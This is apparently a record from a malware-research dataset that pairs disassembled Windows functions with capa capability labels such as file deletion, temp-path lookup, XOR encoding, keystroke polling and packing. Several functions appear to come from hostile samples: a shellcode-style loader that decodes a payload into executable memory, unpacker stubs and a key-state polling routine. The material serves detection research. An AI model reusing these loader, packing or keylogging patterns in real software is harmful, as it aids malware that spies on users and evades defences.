joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001c940
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1001c9db
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x1001c992
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x1001c992
cmp esi, ebx
jge 0x1001c992
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x1001c9d5
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x1001c9d5
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x100252e4]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x100252e4]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1001c9ed
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc

Function at 0x1001cc10
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
mov eax, dword [ebp + 8]
je 0x1001cc38
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x1001cc52
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.100217bf
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10022930
leave
ret 4

Function at 0x1001ce20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x1001ce56
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x1001ceb5
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.100217bf
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.100217bf
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.100217bf
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10022930
leave
ret 0x10
Function at 0x1001ced0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1002d6f4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002da0c], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x1001cefc
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x1001cf2d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x1001cf2b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.100217bf
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x1001cf2d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10022930
leave
ret 8

Function at 0x100217bf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x100217ce
pop dword [ebp - 0x4c]
mov eax, 0x100217ce
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x2a883da8
add dword [ebp - 0x5c], 0x23ca07a3
mov dword [ebp - 0x58], 0x2ecf38fd
sub dword [ebp - 0x58], 0xfc9becb8
mov dword [ebp - 0x54], 0x4507bd08
sub dword [ebp - 0x54], 0xf8bb78da
mov dword [ebp - 0x50], 0x515c1b08
sub dword [ebp - 0x50], 0x515c1b08
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xe53bf112
sub eax, 0xd539a08e
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xbfcd8d26
add dword [ebp - 0x5c], 0xb4a4dc30
mov dword [ebp - 0x58], 0x4f0b9869
sub dword [ebp - 0x58], 0xd9f36f4
mov dword [ebp - 0x54], 0x59cbf375
sub dword [ebp - 0x54], 0xf65c8709
mov dword [ebp - 0x50], 0x5f4d1cab
add dword [ebp - 0x50], 0xa0b2e355
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x2485506c
add eax, 0xeb7d0010
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3ce50
push 0
call eax
mov ecx, 0x4dfb
xor esi, esi
add esi, eax
mov edi, 0xa508cd71
sub edi, 0x9505c171
add edi, dword [ebp - 0x4c]
mov edx, 0x8ede7c29
add edx, 0x6f29af4d
add dword [ebp - 0x1c], edx
mov ebx, dword [edi]
add dword [ebp - 0x40], 0xe08e7644
xor ebx, edx
mov dword [esi], ebx
sub dword [ebp - 0x10], edi
add esi, 4
add edi, 4
loop 0x100218e7
add eax, 0xe9a4ab3c
add eax, 0x165c7f83
mov ebx, eax
add eax, 5
mov ecx, 0xb274004
sub ecx, 0xfb274004
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x419760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40f015
lea edi, [esi - 0xe015]
push edi
or ebp, 0xffffffff
jmp 0x419782
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419789
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419778
mov eax, 1
add ebx, ebx
jne 0x41979b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419790
jne 0x4197ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419790
xor ecx, ecx
sub eax, 3
jb 0x4197c0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419832
mov ebp, eax
add ebx, ebx
jne 0x4197cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4197d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4197fc
inc ecx
add ebx, ebx
jne 0x4197e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4197dd
jne 0x4197f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4197dd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41981c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41980d
jmp 0x41977e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41981c
add edi, ecx
jmp 0x41977e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41983a
cmp byte [edi], 5
jne 0x41983a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41983f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x4198b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41986c
mov ecx, edi
jns 0x41989b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x4198b1
mov dword [ebx], eax
add ebx, 4
jmp 0x419889
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4198eb
sub esp, 0xffffff80
jmp 0x404c20

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x407d20
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53ec90
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x5d0074]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x5d66bc]
cmp eax, dword [ecx + 4]
jle 0x407dcb
push 0x5d66bc
call fcn.00520e0e
add esp, 4
cmp dword [0x5d66bc], 0xffffffff
jne 0x407dcb
mov dword [ebp - 4], 0
xor eax, eax
mov dword [0x5d66d0], 0
mov dword [0x5d66d4], 0
mov dword [0x5d66d0], 0
mov dword [0x5d66d4], 7
mov word [0x5d66c0], ax
mov byte [ebp - 4], al
push 0x56f3c0
call fcn.0052116a
mov dword [ebp - 4], 0xffffffff
push 0x5d66bc
call fcn.00520dc4
add esp, 8
mov ebx, dword [ebp + 8]
mov esi, ebx
cmp dword [ebx + 0x14], 8
mov eax, dword [ebx + 0x10]
mov dword [ebp + 8], eax
jb 0x407dde
mov esi, dword [ebx]
lea edi, [eax + eax]
xor ecx, ecx
mov edx, 0x811c9dc5
test edi, edi
je 0x407e01
nop dword [eax]
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, edi
jb 0x407df0
and edx, dword [0x5d6710]
mov eax, dword [0x5d6704]
mov ecx, dword [eax + edx*8]
lea edx, [edx*8 + 4]
add edx, eax
mov dword [ebp - 0x10], ecx
mov esi, ecx
mov dword [ebp - 0x14], edx
mov eax, dword [0x5d66fc]
cmp ecx, eax
je 0x407e2d
mov eax, dword [edx]
mov eax, dword [eax]
cmp esi, eax
je 0x407ea8
cmp dword [ebx + 0x14], 8
lea edi, [esi + 8]
mov edx, ebx
jb 0x407e3e
mov edx, dword [ebx]
cmp dword [edi + 0x14], 8
mov ecx, edi
mov eax, dword [edi + 0x10]
mov dword [ebp - 0x18], eax
jb 0x407e4e
mov ecx, dword [edi]
cmp eax, dword [ebp + 8]
jne 0x407e60
push eax
call fcn.00406f00
add esp, 4
test eax, eax
je 0x407e6a
mov esi, dword [esi]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
jmp 0x407e20
cmp dword [edi + 0x14], 8
jb 0x407e72
mov edi, dword [edi]
cmp dword [ebx + 0x14], 8
jb 0x407e7a
mov ebx, dword [ebx]
mov eax, dword [ebp + 8]
cmp eax, dword [ebp - 0x18]
jne 0x407e9a
push eax
mov edx, edi
mov ecx, ebx
call fcn.00406f00
add esp, 4
test eax, eax
jne 0x407e9a
mov eax, dword [0x5d66fc]
jmp 0x407ea1
mov eax, dword [0x5d66fc]
mov esi, eax
cmp esi, eax
lea eax, [esi + 0x20]
jne 0x407ead
mov eax, 0x5d66c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x408140
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53ee83
mov eax, dword fs:[0]
push eax
sub esp, 0x234
mov eax, dword [0x5d0074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x238], esi
mov dword [ebp - 0x23c], esi
mov dword [ebp - 0x234], 0
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x5d66d8]
cmp eax, dword [ecx + 4]
jle 0x408205
push 0x5d66d8
call fcn.00520e0e
add esp, 4
cmp dword [0x5d66d8], 0xffffffff
jne 0x408205
mov dword [ebp - 4], 1
xor eax, eax
mov dword [0x5d66ec], 0
mov dword [0x5d66f0], 0
mov dword [0x5d66ec], 0
mov dword [0x5d66f0], 7
mov word [0x5d66dc], ax
mov byte [ebp - 4], 1
push 0x56f410
call fcn.0052116a
mov byte [ebp - 4], 0
push 0x5d66d8
call fcn.00520dc4
add esp, 8
cmp dword [0x5d66ec], 0
jne 0x408296
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x408296
add eax, eax
cmp eax, 0x208
jae 0x4082cf
xor ecx, ecx
mov word [ebp + eax - 0x218], cx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.00406650
mov dword [ebp - 4], 4
lea eax, [ebp - 0x230]
cmp dword [ebp - 0x21c], 8
mov ecx, 0x5d66dc
push dword [ebp - 0x220]
cmovae eax, dword [ebp - 0x230]
push eax
call fcn.004079c0
mov ecx, 0x5d66dc
call fcn.00408b30
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x230]
call fcn.00407c80
push 0x5d66dc
mov ecx, esi
call fcn.00406d00
mov dword [ebp - 4], 0
mov dword [ebp - 0x234], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00520c02
mov esp, ebp
pop ebp
ret
call fcn.005212a0
int3
Function at 0x4082e0
Capabilities:
Create directory
Delete file
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x23c]
sub esp, 0x23c
push 0xffffffffffffffff
push 0x53ef6b
mov eax, dword fs:[0]
push eax
sub esp, 0xc
mov eax, dword [0x5d0074]
xor eax, ebp
mov dword [ebp + 0x238], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], edi
lea ecx, [ebp]
mov dword [ebp - 0x10], 0
call fcn.00408140
mov dword [ebp - 4], 5
lea ecx, [ebp + 0x18]
push eax
mov dword [ebp - 0x10], 4
call fcn.00406d00
mov dword [ebp - 4], 9
mov eax, 4
mov dword [ebp - 0x10], eax
and eax, 0xfffffffb
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 9
lea ecx, [ebp]
call fcn.00407c80
mov byte [ebp - 4], 0x10
lea ecx, [ebp + 0x30]
cmp dword [ebp + 0x2c], 8
lea eax, [ebp + 0x18]
push ecx
cmovae eax, dword [ebp + 0x18]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [ebp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
sub esp, 0x18
xor eax, eax
mov edx, esp
mov dword [ebp - 0x14], esp
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
lea eax, [ebp + 0x30]
lea esi, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4083c0
sub eax, esi
mov ecx, edx
sar eax, 1
push eax
lea eax, [ebp + 0x30]
push eax
call fcn.004079c0
mov dword [ebp - 4], 0x11
mov byte [ebp - 4], 0x10
mov ecx, edi
call fcn.00484e80
mov ecx, 0x10
mov dword [ebp - 0x10], ecx
and ecx, 0xffffffef
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x10], 8
mov dword [ebp - 4], 0
lea ecx, [ebp + 0x18]
call fcn.00407c80
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp + 0x238]
xor ecx, ebp
call fcn.00520c02
lea esp, [ebp + 0x23c]
pop ebp
ret
Function at 0x4085c0
Capabilities:
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53f0c8
mov eax, dword fs:[0]
push eax
sub esp, 0x420
mov eax, dword [0x5d0074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x428], esi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x424], 0
cmp dword [edx + 0x14], 8
jb 0x408610
mov edx, dword [edx]
lea ecx, [ebp - 0x420]
push ecx
push 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x4086e2
xor eax, eax
lea edx, [ebp - 0x420]
push ecx
lea ecx, [ebp - 0x218]
mov word [ebp - 0x218], ax
call fcn.00486640
add esp, 4
cmp word [edi], 0x2e
je 0x408660
mov ecx, 0x2e
mov word [eax], cx
add eax, 2
xor ecx, ecx
mov word [eax], cx
push ecx
mov edx, edi
mov ecx, eax
call fcn.00486640
add esp, 4
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
sub esp, 0x18
lea ecx, [ebp - 0x218]
mov edx, esp
mov dword [ebp - 0x428], esp
xor eax, eax
lea edi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4086b0
sub ecx, edi
lea eax, [ebp - 0x218]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.004079c0
mov dword [ebp - 4], 1
mov byte [ebp - 4], 0
mov ecx, esi
call fcn.00484e80
jmp 0x408740
sub esp, 0x18
lea ecx, [ebp - 0x420]
mov edx, esp
mov dword [ebp - 0x428], esp
xor eax, eax
lea edi, [ecx + 2]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x408710
sub ecx, edi
lea eax, [ebp - 0x420]
sar ecx, 1
push ecx
push eax
mov ecx, edx
call fcn.004079c0
mov dword [ebp - 4], 2
mov byte [ebp - 4], 0
mov ecx, esi
call fcn.00484e80
mov dword [ebp - 4], 0
mov dword [ebp - 0x424], 1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00520c02
mov esp, ebp
pop ebp
ret

Function at 0x408d30
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov edx, dword [esp + 4]
push ebx
push esi
push edi
cmp dword [edx + 0x14], 8
mov ebx, ecx
mov edi, dword [edx + 0x10]
jb 0x408d44
mov edx, dword [edx]
xor ecx, ecx
mov esi, 0x811c9dc5
add edi, edi
je 0x408d61
nop
movzx eax, byte [ecx + edx]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, edi
jb 0x408d50
mov eax, dword [ebx + 0x18]
pop edi
and eax, esi
pop esi
pop ebx
ret 4
Function at 0x409520
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov eax, dword [esp + 8]
cmp dword [eax + 0x1c], 8
push ebx
mov ebx, dword [eax + 0x18]
push ebp
push esi
lea esi, [eax + 8]
mov ebp, ecx
push edi
jb 0x409538
mov esi, dword [esi]
xor edx, edx
mov edi, 0x811c9dc5
add ebx, ebx
je 0x409554
movzx ecx, byte [edx + esi]
inc edx
xor ecx, edi
imul edi, ecx, 0x1000193
cmp edx, ebx
jb 0x409543
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0xc]
and ecx, edi
lea esi, [ecx*8]
mov ecx, dword [edx + esi]
add edx, esi
cmp dword [edx + 4], eax
jne 0x40958a
cmp ecx, eax
jne 0x409582
mov ecx, dword [ebp + 4]
mov dword [edx], ecx
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 4]
mov dword [esi + edx + 4], ecx
jmp 0x409592
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
jmp 0x409592
cmp ecx, eax
jne 0x409592
mov ecx, dword [eax]
mov dword [edx], ecx
mov esi, dword [esp + 0x14]
lea ecx, [ebp + 4]
push eax
push esi
call fcn.00409720
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x40a2f0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53f570
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0x5d0074]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x54], ecx
mov ebx, dword [ebp + 0x14]
mov dword [ebp - 4], 0
mov dword [ebx], 0
mov edi, dword [ebp + 0x10]
mov eax, dword [edi + 4]
sub eax, 0x200
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
cmp eax, 0xe
ja 0x40a37d
push 0x10
call esi
mov ecx, 0x8000
test cx, ax
jne 0x40a42a
push 0x11
call esi
mov ecx, 0x8000
test cx, ax
jne 0x40a42a
push 0x12
call esi
mov ecx, 0x8000
test cx, ax
jne 0x40a42a
mov eax, dword [edi + 4]
sub eax, 0x100
cmp eax, 9
ja 0x40a46c
push 0x11
call esi
mov ecx, 0x8000
test cx, ax
je 0x40a3ae
mov eax, dword [edi + 8]
cmp eax, 0x58
je 0x40a3ae
cmp eax, 0x43
je 0x40a3ae
cmp eax, 0x56
jne 0x40a42a
push 0x12
call esi
mov ecx, 0x8000
test cx, ax
je 0x40a3c9
mov eax, dword [edi + 8]
cmp eax, 0x25
je 0x40a42a
cmp eax, 0x27
je 0x40a42a
cmp dword [edi + 4], 0x100
jne 0x40a46c
mov eax, dword [edi + 8]
cmp eax, 8
jne 0x40a422
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx + 0x14]
call fcn.00414590
mov esi, eax
mov dword [ebp - 0x54], esi
test esi, esi
je 0x40a3f8
mov ecx, dword [esi]
push esi
call dword [ecx + 4]
mov byte [ebp - 4], 1
mov byte [ebp - 4], 2
test esi, esi
je 0x40a437
mov dl, 1
mov ecx, esi
call fcn.00414670
test al, al
je 0x40a437
mov byte [ebp - 4], 4
mov byte [ebp - 4], 0
mov eax, dword [esi]
push esi
call dword [eax + 8]
mov eax, dword [edi + 8]
add eax, 0xffffff90
cmp eax, 0xb
ja 0x40a46c
mov dword [ebx], 1
mov eax, 1
jmp 0x40a475
mov dword [ebx], 1
mov byte [ebp - 4], 3
mov byte [ebp - 4], 0
test esi, esi
je 0x40a44f
mov eax, dword [esi]
push esi
call dword [eax + 8]
mov eax, 1
jmp 0x40a475
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00520c02
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40b630
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53fb38
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x5d0074]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov eax, dword [edi]
cmp dword [eax - 0xc], 0
je 0x40b76a
mov eax, dword [0x5d6414]
mov ecx, edi
push dword [eax - 0xc]
lea eax, [ebp + 8]
push eax
call fcn.0040ba30
mov dword [ebp - 4], 0
mov edx, eax
mov ecx, 0x5d6414
call fcn.0040b9a0
mov bl, al
mov dword [ebp - 4], 0xffffffff
or esi, 0xffffffff
mov edx, dword [ebp + 8]
mov ecx, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x40b6b1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test bl, bl
je 0x40b70a
mov eax, dword [0x5d6414]
mov ecx, edi
push dword [eax - 0xc]
lea eax, [ebp + 8]
push eax
call fcn.0040bbc0
mov dword [ebp - 4], 2
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40b74b
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
jne 0x40b74b
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40b70a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push 1
lea eax, [ebp + 8]
mov ecx, edi
push eax
call fcn.0040baf0
mov dword [ebp - 4], 6
mov ecx, 0x57dfd4
mov eax, dword [eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40b780
test dx, dx
je 0x40b747
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40b780
add eax, 4
add ecx, 4
test dx, dx
jne 0x40b725
xor edi, edi
jmp 0x40b785
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
lea edx, [eax - 0x10]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x40b76a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
sbb edi, edi
or edi, 1
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x40b7a4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x413f00
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x540a60
mov eax, dword fs:[0]
push eax
push ebx
push esi
push edi
mov eax, dword [0x5d0074]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x413f49
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x413f35
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x413f82
nop dword [eax]
cmp esi, edx
jae 0x413f35
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x413f70
cmp esi, edx
jae 0x413f35
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret